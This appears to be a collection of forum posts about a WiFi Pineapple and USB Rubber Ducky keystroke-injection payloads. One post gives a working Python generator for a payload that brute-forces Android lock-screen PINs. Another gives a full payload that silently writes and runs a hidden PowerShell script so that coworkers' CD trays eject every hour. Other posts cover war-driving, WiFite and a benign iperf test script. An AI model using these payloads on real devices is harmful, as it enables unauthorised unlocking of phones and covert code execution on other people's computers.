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  1. So I have been wanting to connect a USB Bluetooth adapter to the NANO so that I can send GPS data to war-drive from my phone. I have been following the instructions outlined here: http://blog.hackedexistence.com/?p=294 When I get to the point of adding the modules to the kernel specifically when I run "insmod ./rfcomm.ko" the Pineapple crashes and reboots. Any help would be much appreciated. Worst case I guess I could hook up a GPS module via FTDI, but I would like the wireless aspect of it.
  2. You might want to take a look at WiFite. It comes installed on Kali 2.0 and it integrates with: Pixie Dust, Reaver, Aircrack, Pyrit, and CowPatty. https://github.com/derv82/wifite
  3. If anyone is having problems with the bash script, I have written something similar in Python. I mostly use the Raspberry Pi to do all my encoding. This script will inject 20 of the most common pin codes first, and then brute force afterwards. #!/usr/bin/python defaultList = ['1234', '1111', '0000', '1212', '7777', '1004', '2000', '4444', '2222', '6969', '9999', '3333', '5555', '6666', '1122', '1313', '8888', '4321', '2001', '1010']; def main(): fileOpen = open("android_payload.txt", "w+") fileOpen.write("DELAY 5000\n") for x in defaultList: fileOpen.write("STRING %s\n" % x); fileOpen.write("ENTER\nDELAY 500\n") for w in range(0,10): for z in range(0,10): for y in range(0,10): for x in range(0,10): fileOpen.write("STRING %d%d%d%d\n" % (w,z,y,x)) if (x % 2) == 0: fileOpen.write("ENTER\n") fileOpen.write("ENTER\nDELAY 500\n") fileOpen.close() main()
  4. Hello: Does anyone have any opinions and strategies for this upcoming change? http://blog.chromium.org/2014/09/gradually-sunsetting-sha-1.html
  5. I tested this on a ASUS Windows 8.1 laptop and a Dell Optiplex with two disk drives. When it ran on the Optiplex it would eject both. Are your optical drives external? Also, I would adjust the if condition to something that would occur more often then at the start of every hour to troubleshoot. If you adjust the Start-Sleep -s 60 to something less than 60, it will check the time more often and possibly catch the correct run time. I use the Duckencode.jar to generate the bin file.
  6. placeholder This payload will automatically eject all the CD trays to the target system at the beginning of every hour. The way I go about this is to create a powershell script from command line and then execute to as a background process with the "powershell -windowstyle hidden" command. I can see a lot of potential in having this run at startup, but I had a wave of mercy when I wrote the script. Enjoy REM Name: Poltergeist REM Author: theGANOUSH REM Purpose: To mess with my coworkers by forcing their CD drives to open at the start of every hour. REM The PowerShell code was found and modified from: http://powershell.com/cs/blogs/tips/archive/2009/04/24/ejecting-cds.aspx REM Open Command Prompt & Navigate to %temp% DELAY 5000 DELAY 10000 GUI r DELAY 300 STRING cmd.exe ENTER DELAY 300 STRING CD %temp% ENTER REM Create PowerShell Script STRING copy con Poltergeist.ps1 ENTER STRING Do ENTER STRING { ENTER STRING $minute = Get-Date -UFormat "%M" ENTER STRING If($minute -eq "00") ENTER STRING { ENTER STRING $Drives = Get-WmiObject Win32_Volume -Filter "DriveType=5" | select -exp DriveLetter ENTER STRING foreach($Drive in $Drives) ENTER STRING { ENTER STRING Invoke-Command -ScriptBlock { ENTER STRING param($Drive) ENTER STRING $Drive ENTER STRING $sa = New-Object -comObject Shell.Application ENTER STRING $sa.Namespace(17).parseName($Drive) ENTER STRING $sa.Namespace(17).ParseName("$Drive").InvokeVerb("Eject") ENTER STRING } -ArgumentList $Drive ENTER STRING } ENTER STRING } STRING Start-Sleep -s 60 ENTER STRING } ENTER STRING until(1 -gt 5) ENTER CONTROL z ENTER REM and execute for effect... STRING powershell -windowstyle hidden -file .\Poltergeist.ps1 ENTER
  7. I have found it helpful to use TSTool3. It is a very powerful tool, that can allow you to remotely manage a computer. On occasion, my team noob's each other's desktop with it. You can find it here: http://gallery.technet.microsoft.com/scriptcenter/TSTool3-8bb4dc72
  8. Sometimes you have to do a lot of network testing, and that can be a real pain if you have to sneaker-net the code everywhere. I have written the following script to using a network share with read and write permissions. DEFAULT_DELAY 75 DELAY 3000 GUI R DELAY 1000 STRING cmd.exe ENTER DELAY 500 REM Change directory to TEMP STRING CD %TEMP% ENTER DELAY 500 REM Copy files down from network share STRING xcopy "\\network_share\COPY_FILES\iperf" /i /Y ENTER DELAY 1000 REM Run Iperf with as needed switches and output to file STRING iperf.exe -c <IpaddressofServer> -w 8k > \\network_share\PERFORMANCE_FILES\IPERF\%username%-%computername%.txt ENTER
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